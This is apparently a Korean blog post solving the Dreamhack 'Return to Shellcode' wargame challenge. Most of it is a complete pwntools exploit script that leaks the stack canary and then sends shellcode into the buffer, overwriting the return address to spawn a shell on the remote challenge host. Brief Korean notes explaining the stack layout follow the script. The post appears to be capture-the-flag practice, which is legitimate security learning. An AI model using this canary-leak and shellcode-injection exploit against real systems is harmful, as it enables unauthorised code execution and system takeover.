상세 컨텐츠

본문 제목

[Dreamhack] Return to Shellcode

SYSTEM HACKING/Dreamhack

by koharin 2024. 3. 3. 01:56

본문

728x90
반응형
#!/usr/bin/python                                                                                                                                                                                     
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
#p = process("./r2s")
p = remote('host3.dreamhack.games', 17569)

p.recvuntil(b'Address of the buf: ')
buf = int(p.recvuntil('\n'), 16)
log.info(b'printf: ', hex(buf))

distance = 96

# canary leak
payload = b'B'*(0x60-0x8)+b'A'
p.sendafter(b'Input: ', payload)

#gdb.attach(p)
p.recvuntil(b'A')
canary = u64(b'\x00'+p.recv(7))
log.info('canary: ', hex(canary))

shellcode = asm(shellcraft.sh())

payload = shellcode
payload += b'A'*(0x60-0x8-len(shellcode))
payload += p64(canary)
payload += b'B'*0x8
payload += p64(buf)

p.sendlineafter(b'Input: ', payload)
p.interactive()
  • buf 주소 출력된거 변수에 저장 -> 이후 return address 주소로 설정
  • canary leak: canary는 \x00 으로 끝나므로, buf 크기+0x8 + 더미 'A'를 주면 출력 시 canary의 하위만 \x41로 덮힌다. \x00으로 바꿔서 canary 저장
  • buf(0x58) + canary(0x8) + SFP(0x8) + RET(0x8) 스택 구조이므로, pwntools의 shellcraft로 생성한 shellcode를 buf에 넣고 canary와 SFP를 차례로 준 후 RET 위치에 buf 주소를 주면 쉘이 따진다.
728x90
반응형

관련글 더보기